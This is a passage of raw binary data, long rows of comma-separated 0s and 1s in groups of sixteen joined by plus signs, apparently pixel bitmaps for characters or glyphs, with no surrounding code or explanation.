1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0, + 1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0, + 0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, + 1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0, + 0,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0, + 0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1, + 1,1,1,0,0,0,1,1,1,1,0,0,0,0,0,1, + 1,1,1,1,1,1,1,1,1,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1, + 1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0, + 0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,1, + 1,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0, + 0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0, + 0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0, + 1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1, + 1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0, + 0,1,1,1,0,0,0,0,1,1,1,0,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1, + 1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0, + 1,1,1,0,0,1,1,0,0,0,0,1,1,1,0,0, + 0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1, + 1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,0, + 1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0, + 1,1,1,0,0,0,0,0,1,1,1,1,1,1,1,1, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, + 1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0, + 1,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1, + 1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0, + 0,0,1,1,1,0,0,0,0,1,1,1,0,0,0,0, + 0,0,0,0,0,1,1,1,0,0,0,0,1,1,1,0, + 0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0, + 0,0,1,1,1,1,1,0,0,1,1,1,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0, + 1,1,1,1,0,1,1,1,0,0,0,0,0,0,1,1, + 1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1, + 1,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1, + 1,1,0,0,1,1,1,0,0,0,0,0,1,1,1,0, + 0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,1, + 1,0,0,0,0,0,1,1,1,0,0,1,1,1,1,1, + 1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1, + 1,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0, + 0,1,1,1,0,1,1,1,0,0,0,0,1,1,1,1, + 1,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1, + 1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0, + 0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0, + 0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1, + 1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, + 1,1,1,1,1,1,1,1,1,0,0,0,1,1,1,0, + 0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0, + 0,0,0,0,0,1,1,1,0,0,0,0,1,1,1,0, + 0,0,1,1,1,1,1,1,1,1,1,1,1,0,0,0, + 0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0, + 0,0,0,1,1,1,0,0,0,0,1,1,1,0,0,0, + 1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0, + 0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,1,1,0,0,1,1, + 1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,1, + 1,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0, + 0,0,1,1,1,0,0,0,0,1,1,1,0,0,1,1, + 1,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1, + 0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1, + 1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0, + 0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0, + 0,1,1,0,0,1,1,1,0,0,0,0,1,1,0,0, + 1,1,1,0,0,1,1,0,0,0,0,0,0,1,1,1, + 0,0,0,0,0,0,0,1,1,1,0,0,1,1,1,0, + 0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0, + 0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0, + 0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1, + 1,1,1,1,0,0,0,1,1,1,1,1,1,1,1,1, + 1,1,0,0,0,1,0,0,1,1,0,1,1,1,1,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0, + 0,0,0,0,0,0,1,1,1,1,0,1,1,1,0,0, + 1,1,1,0,1,1,1,1,0,0,0,0,0,1,1,1, + 1,0,0,0,0,1,1,1,1,0,0,0,0,1,1,1, + 1,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1, + 0,0,0,0,0,0,1,1,1,1,0,0,0,1,1,1, + 1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0, + 1,1,1,1,0,0,0,0,0,0,1,1,1,1,0,0, + 0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, + 1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0, + 0,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0, + 0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1, + 1,1,1,0,0,0,1,1,1,1,0,0,0,0,0,1, + 1,1,1,1,1,1,1,1,1,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1, + 1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1, + 0,0,1,0,0,0,0,0,1,1,1,1,1,0,1,1, + 1,0,0,0,1,1,1,0,1,1,1,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0, + 0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1, + 1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0, + 0,1,1,1,0,0,0,0,1,1,1,0,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1, + 1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 1,1,1,0,0,1,1,1,1,1,1,1,1,1,1,1, + 0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1, + 1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1, + 1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1, + 1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1, + 1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0, + 1,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1, + 1,1,1,1,1,1,1,1,0,0,0,1,1,1,0,0, + 0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0, + 0,0,0,0,0,1,1,1,0,0,0,0,1,1,1,0, + 0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0, + 0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0, + 1,1,1,0,0,1,1,1,1,0,0,0,0,0,1,1, + 1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,1,1,1,0,0,1,1,1,0,0,1,1,1,1, + 1,1,0,0,1,1,1,0,0,0,0,0,1,1,1,0, + 0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1, + 1,0,0,0,0,0,1,1,1,0,0,1,1,1,0,0, + 1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1, + 1,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0, + 0,1,1,1,0,1,1,1,0,0,0,0,1,1,1,1, + 1,0,1,1,1,1,1,0,0,0,0,1,1,1,1,1, + 1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0, + 0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0, + 0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1, + 1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1, + 1,1,0,0,0,0,1,1,1,0,0,0,1,1,1,0, + 0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0, + 0,0,0,0,0,1,1,1,0,0,0,0,1,1,1,0, + 0,0,1,1,1,1,1,1,1,1,1,1,1,0,0,0, + 0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0, + 0,0,0,1,1,1,0,0,0,0,1,1,1,0,0,0, + 1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0, + 0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,1,1,0,0,1,1, + 1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,1, + 1,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0, + 0,0,1,1,1,0,0,0,0,1,1,1,0,0,1,1, + 1,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1, + 0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1, + 1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0, + 0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0, + 0,1,1,1,0,1,1,1,0,0,0,0,1,1,1,1, + 1,0,1,0,1,1,1,0,0,0,0,0,1,1,1,1, + 1,0,0,0,0,0,0,0,1,1,1,0,1,1,1,0, + 0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0, + 0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0, + 0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1, + 1,1,1,1,0,0,0,1,0,0,0,0,0,1,1,1, + 1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0, + 0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0, + 1,1,1,0,1,1,1,1,0,0,0,0,0,1,1,1, + 1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1, + 1,1,0,0,0,0,1,1,1,1,0,0,0,1,1,1, + 1,0,0,0,0,0,1,1,1,1,0,0,0,1,1,1, + 1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0, + 1,1,1,1,0,0,0,0,0,0,1,1,1,1,0,0, + 0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, + 1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0, + 0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1, + 1,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1, + 1,1,1,0,0,0,1,1,1,1,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1, + 1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,1, + 0,0,0,0,0,0,0,1,1,0,0,0,1,1,1,1, + 1,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0, + 0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0, + 0,1,1,1,0,0,0,0,1,1,1,0,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,1, + 1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 1,1,1,0,0,1,1,1,1,1,1,1,1,1,1,1, + 0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1, + 1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1, + 1,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, + 1,1,1,1,1,1,0,0,0,0,1,1,1,1,1,1, + 1,1,1,1,1,0,0,0,0,1,1,1,1,1,1,1, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 1,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1, + 1,1,1,1,1,1,1,1,0,0,0,1,1,1,0,0, + 0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0, + 0,0,0,0,0,1,1,1,0,0,0,1,1,1,1,0, + 0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1, + 0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0, + 1,1,1,0,0,0,1,1,1,0,0,0,0,0,1,1, + 1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,1,1,1,0,0,1,1,1,0,0,0,1,1,1, + 1,1,0,0,1,1,1,0,0,0,0,0,1,1,1,0, + 0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1, + 1,0,0,0,0,0,1,1,1,0,0,1,1,1,0,0, + 0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1, + 1,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0, + 0,1,1,1,0,1,1,1,0,0,0,0,0,1,1,1, + 1,0,0,1,1,1,1,0,0,0,0,1,1,1,0,1, + 1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0, + 0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1, + 1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1, + 1,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0, + 0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0, + 0,0,0,0,0,1,1,1,0,0,0,0,1,1,1,0, + 0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0, + 0,0,0,1,1,1,0,0,0,0,1,1,1,0,0,0, + 1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0, + 0,1,1,1,0,0,1,1,1,0,0,0,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,1,1,0,0,1,1, + 1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,1, + 1,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0, + 0,0,1,1,1,0,0,0,0,1,1,1,0,0,1,1, + 1,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1, + 1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0, + 0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0, + 0,1,1,1,0,1,1,1,0,0,0,0,1,1,1,1, + 1,0,1,1,1,1,1,0,0,0,0,0,1,1,1,1, + 1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0, + 0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0, + 0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0, + 0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1, + 1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0, + 0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0, + 0,1,1,0,1,1,1,0,0,0,0,0,0,1,1,1, + 1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1, + 1,1,0,0,0,0,1,1,1,1,0,0,0,0,1,1, + 1,1,0,0,0,0,1,1,1,1,0,0,0,0,1,1, + 1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0, + 1,1,1,1,0,0,0,0,0,0,1,1,1,1,0,0, + 0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 1,1,1,1,0,0,0,0,0,0,1,1,1,1,0,0, + 0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1, + 1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1, + 1,1,1,0,0,0,0,1,1,1,1,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,1, + 0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1, + 0,0,0,0,0,0,0,1,1,0,0,0,1,1,1,1, + 1,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0, + 0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0, + 0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0, + 0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0, + 0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,1, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0, + 0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0, + 1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,1, + 1,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0, + 0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0, + 0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0, + 0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,1, + 1,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 1,1,0,0,0,1,1,1,1,1,1,1,0,0,1,1, + 1,0,0,0,0,0,1,1,1,0,0,1,1,1,0,0, + 0,0,0,1,1,1,0,0,0,0,1,1,1,1,0,0, + 0,0,1,0,0,1,1,1,0,0,0,1,1,1,0,0, + 0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1, + 1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,1,1,0,0,0,1,1,1,1,0,0,0,0, + 1,1,1,0,0,0,1,1,1,1,0,0,0,0,1,1, + 1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,1,1,1,0,0,1,1,1,0,0,0,1,1,1, + 1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0, + 0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1, + 1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0, + 0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1, + 1,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0, + 0,0,1,1,1,1,0,0,0,1,1,1,1,0,0,0, + 0,0,1,1,0,1,1,0,0,0,0,0,0,1,1,1, + 1,0,0,1,1,1,1,0,0,0,1,1,1,0,0,0, + 1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0, + 0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0, + 0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1, + 1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1, + 1,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0, + 0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0, + 0,0,0,0,0,1,1,1,0,0,0,0,1,1,1,0, + 0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0, + 0,0,0,1,1,1,0,0,0,0,1,1,1,0,0,0, + 1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0, + 0,1,1,1,0,0,1,1,1,0,0,0,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,1,1,0,0,1,1, + 1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,1, + 1,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0, + 0,0,1,1,1,0,0,0,0,1,1,1,0,0,1,1, + 1,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, + 1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0, + 0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0, + 0,1,1,1,0,1,1,0,0,0,0,0,0,1,1,1, + 1,0,1,1,1,1,0,0,0,0,0,1,1,1,0,1, + 1,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0, + 0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0, + 0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0, + 0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1, + 1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0, + 0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0, + 0,1,1,1,1,1,1,0,0,0,0,0,0,1,1,1, + 1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1, + 1,1,0,0,0,0,1,1,1,1,0,0,0,0,1,1, + 1,1,0,0,0,0,1,1,1,1,0,0,0,0,1,1, + 1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0, + 1,1,1,1,0,0,0,0,0,0,1,1,1,1,0,0, + 0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 1,1,1,1,0,0,0,0,0,0,1,1,1,1,0,0, + 0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,1, + 1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1, + 1,1,1,0,0,0,0,1,1,1,1,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1, + 0,0,0,0,0,0,1,1,0,0,1,0,1,1,1,1, + 0,0,0,0,0,0,0,1,1,0,0,0,1,1,0,1, + 1,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0, + 0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0, + 0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0, + 0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0, + 0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,0, + 0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,0, + 0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1, + 1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0, + 0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0, + 1,1,1,0,0,1,1,1,1,0,0,0,0,0,1,1, + 1,1,0,0,0,0,0,0,0,1,1,1,1,0,0,1, + 1,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0, + 0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0, + 0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0, + 0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0, + 1,1,1,0,0,0,1,1,1,1,1,1,0,0,1,1, + 1,0,0,0,0,0,1,1,1,0,0,1,1,1,0,0, + 0,0,1,1,1,1,0,0,0,0,1,1,1,1,1,1, + 1,1,1,0,0,1,1,1,1,1,1,1,1,1,0,0, + 0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1, + 1,1,1,1,1,1,1,0,0,1,1,1,0,0,0,0, + 1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0, + 1,1,1,0,0,0,0,1,1,1,0,0,0,0,1,1, + 1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,1,1,1,0,0,1,1,1,0,0,0,1,1,1, + 1,1,0,0,0,1,1,1,1,1,1,1,1,1,0,0, + 0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1, + 1,1,1,1,1,1,1,1,0,0,0,1,1,1,0,0, + 0,0,1,1,1,0,0,0,1,1,0,0,0,0,1,1, + 1,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0, + 0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0, + 0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,1, + 1,0,0,1,1,1,1,0,0,0,1,1,1,0,0,0, + 1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0, + 0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0, + 0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0, + 0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1, + 1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1, + 1,1,0,0,0,1,1,1,1,0,0,0,1,1,1,1, + 0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0, + 0,1,0,0,0,0,1,1,1,0,0,1,1,1,1,0, + 0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0, + 